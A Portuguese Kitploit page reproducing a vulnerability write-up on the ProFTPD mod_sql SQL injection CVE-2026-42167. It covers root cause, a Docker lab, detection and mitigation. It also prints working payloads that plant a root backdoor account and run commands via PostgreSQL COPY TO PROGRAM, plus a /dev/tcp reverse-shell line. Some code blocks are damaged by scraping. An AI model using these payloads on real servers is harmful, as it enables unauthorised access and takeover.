Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
proftpd-CVE-2026-42167-analysis — Reprodução independente, análise de causa-raiz em nível de código e relatório de exposição realista para CVE-2026-42167 (bypass de is_escaped_text() no mod_sql do ProFTPD). | Kitploit
Ferramentas/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Reprodução independente, análise de causa-raiz em nível de código e relatório de exposição realista para CVE-2026-42167 (bypass de is_escaped_text() no mod_sql do ProFTPD).

Ver Repositório
31há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42167 — ProFTPD mod_sql Injeção SQL / Bypass de Autenticação / RCE

Reprodução independente, análise detalhada da causa raiz no nível do código e uma análise franca de exposição para CVE-2026-42167 — o bypass de is_escaped_text() no pipeline de logging do mod_sql do ProFTPD, divulgado pela ZeroPath Research e corrigido no ProFTPD 1.3.9a / 1.3.10rc1.

Construído e verificado de ponta a ponta em Docker no macOS / Apple Silicon, 2026-04-29.

TL;DR — veja Conclusão para o panorama realista de exposição antes de decidir o quanto se preocupar. Este não é um bug de instalação padrão, mas o padrão de aspas perigoso é o padrão que a documentação oficial recomenda usar, então uma grande fração das implantações de mod_sql o herda.

CampoValor
CVECVE-2026-42167
CWECWE-89 (Injeção SQL), CWE-78 (Injeção de Comandos do SO — via PG COPY TO PROGRAM)
AfetadoProFTPD ≤ 1.3.9 com mod_sql + SQLLog/SQLNamedQuery cuja string de formato interpola uma variável controlada pelo atacante dentro de aspas simples
Corrigido em1.3.9a (af90843ba…) / 1.3.10rc1, veja o commit e6f728481 ("Issue #2052")
Commit vulnerável fixadoae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Arquivo vulnerávelcontrib/mod_sql.c linhas 741–758 (is_escaped_text) e linha 777 (sql_resolved_append_text)
Divulgação originalhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC públicohttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Notas de versãohttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Causa raiz — heurística is_escaped_text() em contrib/mod_sql.c

O mod_sql resolve as variáveis de formato de logging (%U, %{basename}, etc.) e anexa cada parte ao SQL renderizado via sql_resolved_append_text(). Para preservar a compatibilidade retroativa com configurações de admin que já envolvem variáveis em '…', a função chama is_escaped_text() para decidir se sql_escapestring é necessário:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
A verificação é puramente estrutural — ela não consegue distinguir *"já escapado por
código confiável"* de *"criado por um atacante para parecer já escapado."*
Qualquer valor fornecido pelo cliente que corresponda a `'<no-internal-quotes>'` ignora
`sql_escapestring` e é concatenado bruto na consulta final.

A configuração padrão e documentada envolve `%U` / `%{basename}` / `%m` em aspas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Quando o atacante envia USER '<payload>' (aspas de abertura e fechamento, sem aspas internas), o resolvedor substitui %U sem escape, produzindo ''<payload>'' no SQL — os literais de string vazia fecham as aspas ao redor e <payload> é executado como SQL bruto. Com PostgreSQL (PQexec) e SQLite (sqlite3_exec), consultas empilhadas são suportadas, então <payload> pode ser qualquer sequência de instruções.

Como SQLLog ERR_* é acionado em logins falhos e %U é definido a partir de USER antes da autenticação, o ataque é totalmente não autenticado.

A correção (commit e6f728481, "Issue #2052")

sql_resolved_append_text() ganha um parâmetro already_escaped. Os chamadores que resolvem valores a partir de entrada do cliente passam FALSE e agora passam por sql_escapestring incondicionalmente — a heurística is_escaped_text() ainda é aplicada para o caminho legítimo de "config com valor pré-escapado", mas não se aplica mais a dados controlados pelo atacante.


2. Ambiente de laboratório```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- Ambos os contêineres são iniciados via `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita a configuração de logging vulnerável (ver §1).
- `setup/seed.sql` cria `users`, `groups`, `activity_log`, `xfer_log`,
  e `secrets`, além de um único usuário FTP legítimo `ftpuser / ftppass`.

---

## 3. Reprodução — copiar e colar

Pré-requisitos: Docker Desktop, Python 3.10+, git. (`uv` é opcional; os
PoCs usam apenas a biblioteca padrão.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

As duas variantes interativas no repositório upstream (preauth_user_rce.py, postauth_stor_rce.py) não são modificadas e abrem um reverse shell com suporte a PTY. Elas usam o mesmo primitivo da variante marcadora — basta substituir o comando shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 e escutar em <port> primeiro.


4. Os payloads, byte por byte

Backdoor pré-autenticação (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
Por que funciona:

1. As **aspas externas + sem aspas internas** correspondem a
   `is_escaped_text()` → a verificação de escape é ignorada.
2. O `SQLNamedQuery` configurado é `INSERT "'%U', '%r', '%m'" activity_log`,
   então o SQL renderizado se torna
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — mas
   `<payload>` em si começa com `'`, então a consulta efetiva é
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` comenta os espaços de formato finais.
4. `$$…$$` (aspas com cifrão do PostgreSQL) nos permite passar strings (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) sem nunca usar `'` — preservando a
   bypass de `is_escaped_text()`.
5. `SQLLog ERR_*` é acionado no login falho → `PQexec()` executa o
   `INSERT INTO users` empilhado → a conta backdoor existe na tabela de autenticação.

### Backdoor pós-autenticação (nome de arquivo `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Mesmo bypass, gatilho diferente. chr(47) = '/' é usado porque / em um nome de arquivo é interpretado como separador de diretório pelo FTP, então o atacante não pode colocar um / literal no nome do arquivo — chr() permite que a conta backdoor obtenha homedir = '/' sem enviar um pela rede.

RCE pré-autenticação (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
Onde `<shell-cmd>` é qualquer comando. O PostgreSQL o executa via `/bin/sh`
no host do **banco de dados** como o usuário do SO `postgres`. Exige que o papel do banco
usado pelo `mod_sql` seja um superusuário (ou membro de
`pg_execute_server_program`) — comum em implantações de locatário único e
o padrão para a imagem oficial `postgres` do Docker quando o papel é
criado via `POSTGRES_USER`.

---

## 5. Evidências capturadas durante a reprodução

| Arquivo | O que mostra |
|---|---|
| `logs/01_preauth_backdoor.log` | Saída do PoC de pré-autenticação, login como `backdoor` é bem-sucedido (`230`) |
| `logs/02_db_users_after.log` | A tabela `users` agora contém `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Saída do PoC de pós-autenticação via STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload de marcador enviado via FTP |
| `logs/06_users_final.log` | Estado final da tabela `users` |
| `logs/07_proftpd_trace.log` | Log de rastreamento do próprio ProFTPD imprimindo `text '…' is already escaped, skipping escaping it again` para cada payload injetado — evidência direta de `is_escaped_text()` retornando TRUE em entrada do atacante |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` gravado *pelo usuário postgres* no contêiner do postgres |
| `screenshots/*.png` | Renderizações PNG de cada sessão de terminal capturada |

A linha do log de rastreamento é a prova definitiva:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

Essa mensagem é emitida em contrib/mod_sql.c:791 apenas quando is_escaped_text() retorna TRUE — ou seja, exatamente o bypass.


6. Detecção / mitigação

Detecção (forense em um servidor implantado):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log com Trace sql:17 habilitado sinaliza toda tentativa de injeção que atingiu o bypass.
  • Audite activity_log (ou qualquer tabela em que SQLNamedQuery INSERT escreva): linhas em que a coluna de nome de usuário começa com uma aspa solta, contém null, null);, ou contém INSERT/COPY TO PROGRAM/UPDATE são evidências.
  • Audite a tabela users em busca de contas com uid=0, homedir='/', ou shell definido para um shell real quando a política é usar /sbin/nologin.

Mitigação:

  • Atualize o ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit e6f728481).
  • Controle compensatório se a atualização ainda não for possível: remova variáveis controláveis pelo atacante das strings de formato SQLNamedQuery (substitua '%U' pelo %U mais seguro apenas em backends parametrizados, ou use registro baseado em arquivo de texto simples para logins com falha).
  • Defesa em profundidade: garanta que a função do PostgreSQL do mod_sql não seja superusuário — isso por si só remove o caminho de RCE via COPY TO PROGRAM (o bypass de autenticação via INSERT INTO users empilhado ainda funciona, mas o raio de impacto fica contido ao banco de dados do proftpd).

7. Mapa de arquivos deste repositório```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. Isto é realista — ou um caso extremo forçado?

A resposta honesta: **mais restrito do que um worm de "envie um pacote e
domine o servidor", mas o padrão vulnerável está na própria documentação do
ProFTPD, portanto não é forçado.** Três dimensões independentes decidem se
uma determinada implantação é afetada, e cada uma reduz a população.

### 8.1 O `mod_sql` está sequer carregado?

O `mod_sql` é opcional. Ele **não** está no build padrão do ProFTPD e não
está na configuração padrão dos pacotes de distribuições como o
`proftpd-basic` do Debian. Você só o tem se:

- Compilou com `--with-modules=mod_sql:mod_sql_<backend>`, ou
- Instalou um pacote específico de backend: Debian `proftpd-mod-pgsql` /
  `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` /
  `proftpd-mysql`.

As pessoas instalam esses pacotes por um motivo claro: **autenticação**
baseada em SQL (usuários em um banco de dados em vez de `/etc/passwd`) ou
**registro de atividades** baseado em SQL para auditoria. Ambos são comuns
em implantações de hospedagem compartilhada, FTP gerenciado e drops de FTP
corporativos. Portanto, o `mod_sql` é uma parcela real da base instalada —
apenas não "todo servidor".

### 8.2 O padrão vulnerável `SQLNamedQuery` é realmente usado?

É aqui que o realismo é maior. O padrão que aciona o bug *é o documentado.*
Exemplos extraídos diretamente da árvore upstream no commit vulnerável
fixado:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

Cada um envolve uma variável controlada pelo atacante (%u, %r) entre aspas simples — exatamente a forma que is_escaped_text() classifica erroneamente. Um administrador que copia e cola da documentação oficial herda o padrão vulnerável. Essa é a principal razão para levar isso a sério.

8.3 Pré-autenticação vs pós-autenticação

O caminho totalmente não autenticado (USER + %U + SQLLog ERR_*) é o caso mais restrito. Ele exige todos os três:

  • Um SQLNamedQuery interpolando %U (nome de usuário original, definido mesmo em login falho) dentro de aspas simples — menos comum que %u em configurações reais, já que a maioria dos administradores quer o nome de usuário bem-sucedido para auditoria e usa %u.
  • Uma diretiva SQLLog que dispara antes da autenticação. SQLLog ERR_* é o curinga canônico para isso. SQLLog PASS … e SQLLog STOR … (as formas mais comuns) não disparam.
  • Um backend que suporte consultas empilhadas (PostgreSQL ou SQLite — veja §8.4).

Se a configuração usa %u em vez de %U, o mesmo bug ainda produz bypass de autenticação — mas apenas pós-autenticação, ou seja, o atacante primeiro precisa de quaisquer credenciais válidas antes de poder plantar um backdoor uid=0. Na maioria das configurações reais, essa é a exposição realista: usuário FTP de baixo privilégio → usuário FTP equivalente a root via um único upload.

8.4 O backend importa muito

O bypass dispara de forma idêntica em todos os backends, mas o que o atacante pode fazer difere drasticamente:

BackendConsultas empilhadas?Bypass de autenticação via INSERT INTO usersRCE no host do banco
PostgreSQLSim (PQexec)FuncionaSim via COPY TO PROGRAM se o papel do banco for superusuário
SQLiteSim (sqlite3_exec)Funciona (e o worker FTP frequentemente tem PRIVS_ROOT — ainda pior)Sem equivalente direto, mas tabela users gravável → login FTP root
MySQLNão — mysql_real_query sem CLIENT_MULTI_STATEMENTSNão pode anexar uma segunda instrução; reduz-se a subconsulta de instrução única / SQLi cega apenas para exfiltração de dadosNão

PostgreSQL ou SQLite ⇒ impacto total. MySQL ⇒ apenas vazamento de dados / cega baseada em tempo. MySQL é de longe o backend mais comum para hospedagem compartilhada (cPanel, Plesk, ISPConfig todos usam por padrão); PostgreSQL é mais comum em builds empresariais personalizados. Ambas as populações são não triviais.

8.5 RCE tem seu próprio portão

O RCE principal via COPY TO PROGRAM adicionalmente exige que o papel PostgreSQL do mod_sql seja um superusuário (ou membro de pg_execute_server_program). Isso é:

  • Comum quando o banco foi criado com a variável de ambiente POSTGRES_USER da imagem oficial do Docker postgres (o padrão para a maioria dos laboratórios de PoC e muitas imagens de appliance, incluindo o setup/ deste repositório).
  • Comum quando o ProFTPD possui sua própria instância de banco (implantações de locatário único, imagens de appliance hospedadas).
  • Menos comum quando o provisionamento liderado pelo DBA criou o papel com privilégio mínimo.

Se o papel não for superusuário, você ainda obtém a primitiva de bypass de autenticação (crítica por si só), mas o RCE no nível do sistema operacional no host do banco desaparece.


9. Juntando tudo — quem está realisticamente exposto```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. Recomendação

Para qualquer pessoa que execute ProFTPD `mod_sql`:

- **Atualize** para ≥ 1.3.9a independentemente. É a única correção completa.
- **Controlos compensatórios** até conseguir aplicar o patch:
  - Reduza a role da BD para **não-superuser** — elimina o ramo de RCE no
    PostgreSQL.
  - Audite a sua tabela `users` / de autenticação para linhas `uid=0` perdidas ou contas
    adicionadas recentemente — ver §6.
  - Ative `Trace sql:17` e procure por
    `is already escaped, skipping escaping it again` em `trace.log` — essa
    linha é evidência direta de uma tentativa de bypass.
  - Se for viável, remova as diretivas `SQLLog ERR_*` e quaisquer
    formatos `SQLNamedQuery INSERT` que interpolam `%U` (a primitiva
    pré-autenticação). O caminho pós-autenticação continuará a existir via `%u` /
    `%{basename}`, mas remove o pior cenário.

---

## 11. Conclusão

- Isto **não** é uma "vulnerabilidade de instalação predefinida" — tem de estar
  a executar `mod_sql`.
- **É** uma "vulnerabilidade de seguir-a-documentação" — o padrão de
  aspas perigoso é o oficial, copiado e colado nos HOWTOs a montante.
- O cenário **totalmente não autenticado** do título é real, mas
  requer uma combinação de configuração específica (pré-auth `%U` + wildcard `SQLLog ERR_*`)
  que é menos comum do que o caminho pós-autenticação.
- O cenário de **escalada de privilégios pós-autenticação** (qualquer utilizador FTP → backdoor FTP uid=0)
  é o muito mais realista e aplica-se a uma grande
  fração de implementações `mod_sql` + PostgreSQL/SQLite que utilizam os
  padrões de registo documentados.
- O **RCE ao nível do SO no host da BD** está condicionado à role da BD ser
  superuser — comum em configurações single-tenant / estilo appliance, menos
  comum em ambientes geridos por DBAs.

---

## Créditos

- Vulnerabilidade descoberta e originalmente divulgada por
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Repositório público de PoC:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Correção por TJ Saunders, commit
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  ("Issue #2052").

Este repositório é uma reprodução e análise independente para investigação
defensiva e educação. Sem 0-day. Utilize apenas em sistemas que está autorizado
a testar.
Baixar ferramenta